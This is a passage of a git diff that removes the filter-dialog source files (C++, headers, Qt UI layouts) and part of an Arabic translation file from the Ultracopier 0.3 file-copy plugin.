- ui->apply_on->setCurrentIndex(2);
- break;
- }
-}
-
-void FilterRules::set_need_match_all(bool need_match_all)
-{
- ui->need_match_all->setChecked(need_match_all);
-}
-
-void FilterRules::on_search_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateChecking();
-}
-
-void FilterRules::updateChecking()
-{
- QRegExp regex;
- isValid=!ui->search->text().isEmpty();
- if(isValid)
- {
- QString tempString;
- if(ui->search_type->currentIndex()==0)
- {
- tempString=QRegExp::escape(ui->search->text());
- if(tempString.contains('/') || tempString.contains('\\'))
- isValid=false;
- }
- else if(ui->search_type->currentIndex()==1)
- {
- tempString=QRegExp::escape(ui->search->text());
- tempString.replace("\\*","[^\\\\/]*");
- }
- else if(ui->search_type->currentIndex()==2)
- {
- tempString=ui->search->text();
- if(tempString.startsWith('^') && tempString.endsWith('$'))
- {
- ui->need_match_all->setChecked(true);
- tempString.remove(QRegExp("^\\^"));
- tempString.remove(QRegExp("\\$$"));
- ui->search->setText(tempString);
- }
- }
- if(isValid)
- {
- if(ui->need_match_all->isChecked())
- tempString="^"+tempString+"$";
- regex=QRegExp(tempString);
- isValid=regex.isValid() && !regex.isEmpty();
- }
- }
-
- ui->isValid->setChecked(isValid);
- ui->testString->setEnabled(isValid);
- ui->label_test_string->setEnabled(isValid);
- ui->matched->setEnabled(isValid);
- ui->matched->setChecked(isValid && ui->testString->text().contains(regex));
- ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(isValid);
-}
-
-void FilterRules::on_isValid_clicked()
-{
- updateChecking();
-}
-
-void FilterRules::on_testString_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateChecking();
-}
-
-void FilterRules::on_matched_clicked()
-{
- updateChecking();
-}
-
-void FilterRules::on_search_type_currentIndexChanged(int index)
-{
- Q_UNUSED(index);
- updateChecking();
-}
-
-void FilterRules::on_need_match_all_clicked()
-{
- updateChecking();
-}
-
-void FilterRules::on_buttonBox_clicked(QAbstractButton *button)
-{
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
- reject();
- else
- {
- haveBeenValided=true;
- accept();
- }
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/FilterRules.h b/plugins/CopyEngine/Ultracopier-0.3/FilterRules.h
deleted file mode 100644
index f06f0cb..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/FilterRules.h
+++ /dev/null
@@ -1,46 +0,0 @@
-#ifndef FILTERRULES_H
-#define FILTERRULES_H
-
-#include <QDialog>
-#include <QAbstractButton>
-#include <QPushButton>
-
-#include "StructEnumDefinition_CopyEngine.h"
-
-namespace Ui {
-class FilterRules;
-}
-
-/** All the filter rules to include/exclude some file during the listing */
-class FilterRules : public QDialog
-{
- Q_OBJECT
-
-public:
- explicit FilterRules(QWidget *parent = 0);
- ~FilterRules();
- bool getIsValid();
- QString get_search_text();
- SearchType get_search_type();
- ApplyOn get_apply_on();
- bool get_need_match_all();
- void set_search_text(QString search_text);
- void set_search_type(SearchType search_type);
- void set_apply_on(ApplyOn apply_on);
- void set_need_match_all(bool need_match_all);
-private slots:
- void on_search_textChanged(const QString &arg1);
- void on_isValid_clicked();
- void on_testString_textChanged(const QString &arg1);
- void on_matched_clicked();
- void on_search_type_currentIndexChanged(int index);
- void on_need_match_all_clicked();
- void on_buttonBox_clicked(QAbstractButton *button);
-private:
- Ui::FilterRules *ui;
- void updateChecking();
- bool isValid;
- bool haveBeenValided;
-};
-
-#endif // FILTERRULES_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/FilterRules.ui b/plugins/CopyEngine/Ultracopier-0.3/FilterRules.ui
deleted file mode 100644
index fad35cd..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/FilterRules.ui
+++ /dev/null
@@ -1,162 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>FilterRules</class>
- <widget class="QDialog" name="FilterRules">
- <property name="windowModality">
- <enum>Qt::WindowModal</enum>
- </property>
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>289</width>
- <height>231</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string>Filters dialog</string>
- </property>
- <property name="windowIcon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/filter.png</normaloff>:/resources/filter.png</iconset>
- </property>
- <layout class="QGridLayout" name="gridLayout_2">
- <property name="margin">
- <number>1</number>
- </property>
- <property name="spacing">
- <number>1</number>
- </property>
- <item row="0" column="0">
- <widget class="QLabel" name="label">
- <property name="text">
- <string>Search:</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QLineEdit" name="search"/>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_3">
- <property name="text">
- <string>Search type:</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QComboBox" name="search_type">
- <item>
- <property name="text">
- <string>Raw text</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Simplified regex</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Perl's regex</string>
- </property>
- </item>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_2">
- <property name="text">
- <string>Apply on:</string>
- </property>
- </widget>
- </item>
- <item row="2" column="1">
- <widget class="QComboBox" name="apply_on">
- <item>
- <property name="text">
- <string>File</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Folder</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>File and folder</string>
- </property>
- </item>
- </widget>
- </item>
- <item row="3" column="0" colspan="2">
- <widget class="QCheckBox" name="need_match_all">
- <property name="text">
- <string>All string need match</string>
- </property>
- </widget>
- </item>
- <item row="4" column="0" colspan="2">
- <widget class="QGroupBox" name="groupBoxChecking">
- <property name="title">
- <string>Checking</string>
- </property>
- <layout class="QGridLayout" name="gridLayout">
- <item row="0" column="0" colspan="2">
- <widget class="QCheckBox" name="isValid">
- <property name="text">
- <string>The regex is valid</string>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_test_string">
- <property name="text">
- <string>Test string:</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QLineEdit" name="testString"/>
- </item>
- <item row="2" column="0" colspan="2">
- <widget class="QCheckBox" name="matched">
- <property name="text">
- <string>The test string match with the regex</string>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item row="5" column="0" colspan="2">
- <layout class="QHBoxLayout" name="horizontalLayout">
- <item>
- <spacer name="horizontalSpacer">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>68</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QDialogButtonBox" name="buttonBox">
- <property name="standardButtons">
- <set>QDialogButtonBox::Cancel|QDialogButtonBox::Ok</set>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- </layout>
- </widget>
- <resources>
- <include location="resources.qrc"/>
- </resources>
- <connections/>
-</ui>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Filters.cpp b/plugins/CopyEngine/Ultracopier-0.3/Filters.cpp
deleted file mode 100644
index ce87b52..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Filters.cpp
+++ /dev/null
@@ -1,456 +0,0 @@
-#include "Filters.h"
-#include "ui_Filters.h"
-
-#include <QMessageBox>
-
-Filters::Filters(QWidget *parent) :
- QDialog(parent),
- ui(new Ui::Filters)
-{
- ui->setupUi(this);
-}
-
-Filters::~Filters()
-{
- delete ui;
-}
-
-void Filters::setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
-{
- if(includeStrings.size()!=includeOptions.size() || excludeStrings.size()!=excludeOptions.size())
- return;
- Filters_rules new_item;
-
- include.clear();
- int index=0;
- while(index<includeStrings.size())
- {
- new_item.search_text=includeStrings.at(index);
- QStringList options=includeOptions.at(index).split(";");
- new_item.need_match_all=false;
- new_item.search_type=SearchType_rawText;
- new_item.apply_on=ApplyOn_fileAndFolder;
-
- if(options.contains("SearchType_simpleRegex"))
- new_item.search_type=SearchType_simpleRegex;
- if(options.contains("SearchType_perlRegex"))
- new_item.search_type=SearchType_perlRegex;
- if(options.contains("ApplyOn_file"))
- new_item.apply_on=ApplyOn_file;
- if(options.contains("ApplyOn_folder"))
- new_item.apply_on=ApplyOn_folder;
- if(options.contains("need_match_all"))
- new_item.need_match_all=true;
-
- if(convertToRegex(new_item))
- include << new_item;
-
- index++;
- }
-
- exclude.clear();
- index=0;
- while(index<excludeStrings.size())
- {
- new_item.search_text=excludeStrings.at(index);
- QStringList options=excludeOptions.at(index).split(";");
- new_item.need_match_all=false;
- new_item.search_type=SearchType_rawText;
- new_item.apply_on=ApplyOn_fileAndFolder;
-
- if(options.contains("SearchType_simpleRegex"))
- new_item.search_type=SearchType_simpleRegex;
- if(options.contains("SearchType_perlRegex"))
- new_item.search_type=SearchType_perlRegex;
- if(options.contains("ApplyOn_file"))
- new_item.apply_on=ApplyOn_file;
- if(options.contains("ApplyOn_folder"))
- new_item.apply_on=ApplyOn_folder;
- if(options.contains("need_match_all"))
- new_item.need_match_all=true;
-
- if(convertToRegex(new_item))
- exclude << new_item;
-
- index++;
- }
-
- reShowAll();
-}
-
-void Filters::reShowAll()
-{
- ui->inclusion->clear();
- int index=0;
- while(index<include.size())
- {
- QString entryShow=include.at(index).search_text+" (";
- QStringList optionsToShow;
- switch(include.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << tr("Raw text");
- break;
- case SearchType_simpleRegex:
- optionsToShow << tr("Simplified regex");
- break;
- case SearchType_perlRegex:
- optionsToShow << tr("Perl's regex");
- break;
- default:
- break;
- }
- switch(include.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << tr("Only on file");
- break;
- case ApplyOn_folder:
- optionsToShow << tr("Only on folder");
- break;
- default:
- break;
- }
- if(include.at(index).need_match_all)
- optionsToShow << tr("Full match");
- entryShow+=optionsToShow.join(",");
- entryShow+=")";
- ui->inclusion->addItem(new QListWidgetItem(entryShow));
- index++;
- }
- ui->exclusion->clear();
- index=0;
- while(index<exclude.size())
- {
- QString entryShow=exclude.at(index).search_text+" (";
- QStringList optionsToShow;
- switch(exclude.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << tr("Raw text");
- break;
- case SearchType_simpleRegex:
- optionsToShow << tr("Simplified regex");
- break;
- case SearchType_perlRegex:
- optionsToShow << tr("Perl's regex");
- break;
- default:
- break;
- }
- switch(exclude.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << tr("Only on file");
- break;
- case ApplyOn_folder:
- optionsToShow << tr("Only on folder");
- break;
- default:
- break;
- }
- if(exclude.at(index).need_match_all)
- optionsToShow << tr("Full match");
- entryShow+=optionsToShow.join(",");
- entryShow+=")";
- ui->exclusion->addItem(new QListWidgetItem(entryShow));
- index++;
- }
-}
-
-QList<Filters_rules> Filters::getInclude()
-{
- return include;
-}
-
-QList<Filters_rules> Filters::getExclude()
-{
- return exclude;
-}
-
-void Filters::newLanguageLoaded()
-{
- ui->retranslateUi(this);
- reShowAll();
-}
-
-void Filters::haveNewFilters()
-{
- QStringList includeStrings,includeOptions,excludeStrings,excludeOptions;
- int index=0;
- while(index<include.size())
- {
- includeStrings<<include.at(index).search_text;
- QStringList optionsToShow;
-
- switch(include.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << "SearchType_rawText";
- break;
- case SearchType_simpleRegex:
- optionsToShow << "SearchType_simpleRegex";
- break;
- case SearchType_perlRegex:
- optionsToShow << "SearchType_perlRegex";
- break;
- default:
- break;
- }
- switch(include.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << "ApplyOn_file";
- break;
- case ApplyOn_fileAndFolder:
- optionsToShow << "ApplyOn_fileAndFolder";
- break;
- case ApplyOn_folder:
- optionsToShow << "ApplyOn_folder";
- break;
- default:
- break;
- }
- if(include.at(index).need_match_all)
- optionsToShow << tr("Full match");
- includeOptions<<optionsToShow.join(";");
- index++;
- }
- index=0;
- while(index<exclude.size())
- {
- excludeStrings<<exclude.at(index).search_text;
- QStringList optionsToShow;
-
- switch(exclude.at(index).search_type)
- {
- case SearchType_rawText:
- optionsToShow << "SearchType_rawText";
- break;
- case SearchType_simpleRegex:
- optionsToShow << "SearchType_simpleRegex";
- break;
- case SearchType_perlRegex:
- optionsToShow << "SearchType_perlRegex";
- break;
- default:
- break;
- }
- switch(exclude.at(index).apply_on)
- {
- case ApplyOn_file:
- optionsToShow << "ApplyOn_file";
- break;
- case ApplyOn_fileAndFolder:
- optionsToShow << "ApplyOn_fileAndFolder";
- break;
- case ApplyOn_folder:
- optionsToShow << "ApplyOn_folder";
- break;
- default:
- break;
- }
- if(exclude.at(index).need_match_all)
- optionsToShow << tr("Full match");
- excludeOptions<<optionsToShow.join(";");
- index++;
- }
- emit sendNewFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
-}
-
-bool Filters::convertToRegex(Filters_rules &item)
-{
- bool isValid=!item.search_text.isEmpty();
- if(isValid)
- {
- QRegExp regex;
- QString tempString;
- if(item.search_type==SearchType_rawText)
- {
- tempString=QRegExp::escape(item.search_text);
- if(tempString.contains('/') || tempString.contains('\\'))
- isValid=false;
- }
- else if(item.search_type==SearchType_simpleRegex)
- {
- tempString=QRegExp::escape(item.search_text);
- tempString.replace("\\*","[^\\\\/]*");
- }
- else if(item.search_type==SearchType_perlRegex)
- {
- tempString=item.search_text;
- if(tempString.startsWith('^') && tempString.endsWith('$'))
- {
- item.need_match_all=true;
- tempString.remove(QRegExp("^\\^"));
- tempString.remove(QRegExp("\\$$"));
- item.search_text=tempString;
- }
- }
- if(isValid)
- {
- if(item.need_match_all==true)
- tempString="^"+tempString+"$";
- regex=QRegExp(tempString);
- isValid=regex.isValid() && !regex.isEmpty();
- item.regex=regex;
- return true;
- }
- else
- return false;
- }
- return false;
-}
-
-void Filters::on_remove_exclusion_clicked()
-{
- bool removedEntry=false;
- int index=0;
- while(index<ui->exclusion->count())
- {
- if(ui->exclusion->item(index)->isSelected())
- {
- delete ui->exclusion->item(index);
- exclude.removeAt(index);
- removedEntry=true;
- }
- else
- index++;
- }
- if(removedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_remove_inclusion_clicked()
-{
- bool removedEntry=false;
- int index=0;
- while(index<ui->inclusion->count())
- {
- if(ui->inclusion->item(index)->isSelected())
- {
- delete ui->inclusion->item(index);
- include.removeAt(index);
- removedEntry=true;
- }
- else
- index++;
- }
- if(removedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_add_exclusion_clicked()
-{
- FilterRules dialog(this);
- dialog.exec();
- if(dialog.getIsValid())
- {
- Filters_rules new_item;
- new_item.apply_on=dialog.get_apply_on();
- new_item.need_match_all=dialog.get_need_match_all();
- new_item.search_text=dialog.get_search_text();
- new_item.search_type=dialog.get_search_type();
- exclude << new_item;
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_buttonBox_clicked(QAbstractButton *button)
-{
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
- reject();
-}
-
-void Filters::on_add_inclusion_clicked()
-{
- FilterRules dialog(this);
- dialog.exec();
- if(dialog.getIsValid())
- {
- Filters_rules new_item;
- new_item.apply_on=dialog.get_apply_on();
- new_item.need_match_all=dialog.get_need_match_all();
- new_item.search_text=dialog.get_search_text();
- new_item.search_type=dialog.get_search_type();
- if(convertToRegex(new_item))
- include << new_item;
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_edit_exclusion_clicked()
-{
- bool editedEntry=false;
- int index=0;
- while(index<ui->exclusion->count())
- {
- if(ui->exclusion->item(index)->isSelected())
- {
- FilterRules dialog(this);
- dialog.set_apply_on(exclude[index].apply_on);
- dialog.set_need_match_all(exclude[index].need_match_all);
- dialog.set_search_text(exclude[index].search_text);
- dialog.set_search_type(exclude[index].search_type);
- dialog.exec();
- if(dialog.getIsValid())
- {
- exclude[index].apply_on=dialog.get_apply_on();
- exclude[index].need_match_all=dialog.get_need_match_all();
- exclude[index].search_text=dialog.get_search_text();
- exclude[index].search_type=dialog.get_search_type();
- if(!convertToRegex(exclude[index]))
- exclude.removeAt(index);
- editedEntry=true;
- }
- }
- index++;
- }
- if(editedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
-
-void Filters::on_edit_inclusion_clicked()
-{
- bool editedEntry=false;
- int index=0;
- while(index<ui->inclusion->count())
- {
- if(ui->inclusion->item(index)->isSelected())
- {
- FilterRules dialog(this);
- dialog.set_apply_on(exclude[index].apply_on);
- dialog.set_need_match_all(exclude[index].need_match_all);
- dialog.set_search_text(exclude[index].search_text);
- dialog.set_search_type(exclude[index].search_type);
- dialog.exec();
- if(dialog.getIsValid())
- {
- exclude[index].apply_on=dialog.get_apply_on();
- exclude[index].need_match_all=dialog.get_need_match_all();
- exclude[index].search_text=dialog.get_search_text();
- exclude[index].search_type=dialog.get_search_type();
- if(!convertToRegex(exclude[index]))
- exclude.removeAt(index);
- editedEntry=true;
- }
- }
- index++;
- }
- if(editedEntry)
- {
- reShowAll();
- haveNewFilters();
- }
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Filters.h b/plugins/CopyEngine/Ultracopier-0.3/Filters.h
deleted file mode 100644
index dcdcb36..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Filters.h
+++ /dev/null
@@ -1,44 +0,0 @@
-#ifndef FILTERS_H
-#define FILTERS_H
-
-#include <QDialog>
-#include <QStringList>
-
-#include "FilterRules.h"
-#include "StructEnumDefinition_CopyEngine.h"
-
-namespace Ui {
-class Filters;
-}
-
-/** To add/edit one filter rules */
-class Filters : public QDialog
-{
- Q_OBJECT
-public:
- explicit Filters(QWidget *parent = 0);
- ~Filters();
- void setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
- void reShowAll();
- QList<Filters_rules> getInclude();
- QList<Filters_rules> getExclude();
- void newLanguageLoaded();
-private:
- Ui::Filters *ui;
- QList<Filters_rules> include;
- QList<Filters_rules> exclude;
- void haveNewFilters();
- bool convertToRegex(Filters_rules &item);
-signals:
- void sendNewFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
-private slots:
- void on_remove_exclusion_clicked();
- void on_remove_inclusion_clicked();
- void on_add_exclusion_clicked();
- void on_buttonBox_clicked(QAbstractButton *button);
- void on_add_inclusion_clicked();
- void on_edit_exclusion_clicked();
- void on_edit_inclusion_clicked();
-};
-
-#endif // FILTERS_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Filters.ui b/plugins/CopyEngine/Ultracopier-0.3/Filters.ui
deleted file mode 100644
index db8577c..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Filters.ui
+++ /dev/null
@@ -1,194 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>Filters</class>
- <widget class="QDialog" name="Filters">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>507</width>
- <height>502</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string>Filters</string>
- </property>
- <property name="windowIcon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/filter.png</normaloff>:/resources/filter.png</iconset>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout">
- <property name="spacing">
- <number>1</number>
- </property>
- <property name="margin">
- <number>1</number>
- </property>
- <item>
- <widget class="QGroupBox" name="groupBox">
- <property name="title">
- <string>Exclusion filter</string>
- </property>
- <layout class="QHBoxLayout" name="horizontalLayout_2">
- <property name="spacing">
- <number>1</number>
- </property>
- <property name="margin">
- <number>2</number>
- </property>
- <item>
- <widget class="QListWidget" name="exclusion">
- <property name="selectionMode">
- <enum>QAbstractItemView::MultiSelection</enum>
- </property>
- </widget>
- </item>
- <item>
- <layout class="QVBoxLayout" name="verticalLayout_2">
- <item>
- <widget class="QToolButton" name="add_exclusion">
- <property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QToolButton" name="edit_exclusion">
- <property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/edit.png</normaloff>:/resources/edit.png</iconset>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QToolButton" name="remove_exclusion">
- <property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/remove.png</normaloff>:/resources/remove.png</iconset>
- </property>
- </widget>
- </item>
- <item>
- <spacer name="verticalSpacer_2">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>40</height>
- </size>
- </property>
- </spacer>
- </item>
- </layout>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <widget class="QGroupBox" name="groupBox_2">
- <property name="title">
- <string>Inclusion filter</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout_4">
- <property name="spacing">
- <number>1</number>
- </property>
- <property name="margin">
- <number>2</number>
- </property>
- <item>
- <widget class="QLabel" name="label">
- <property name="text">
- <string>None = Include all</string>
- </property>
- </widget>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout">
- <item>
- <widget class="QListWidget" name="inclusion">
- <property name="selectionMode">
- <enum>QAbstractItemView::MultiSelection</enum>
- </property>
- </widget>
- </item>
- <item>
- <layout class="QVBoxLayout" name="verticalLayout_3">
- <item>
- <widget class="QToolButton" name="add_inclusion">
- <property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QToolButton" name="edit_inclusion">
- <property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/edit.png</normaloff>:/resources/edit.png</iconset>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QToolButton" name="remove_inclusion">
- <property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/remove.png</normaloff>:/resources/remove.png</iconset>
- </property>
- </widget>
- </item>
- <item>
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>40</height>
- </size>
- </property>
- </spacer>
- </item>
- </layout>
- </item>
- </layout>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_3">
- <item>
- <spacer name="horizontalSpacer">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QDialogButtonBox" name="buttonBox">
- <property name="standardButtons">
- <set>QDialogButtonBox::Cancel</set>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- </layout>
- </widget>
- <resources>
- <include location="resources.qrc"/>
- </resources>
- <connections/>
-</ui>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/ar/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/ar/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/ar/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
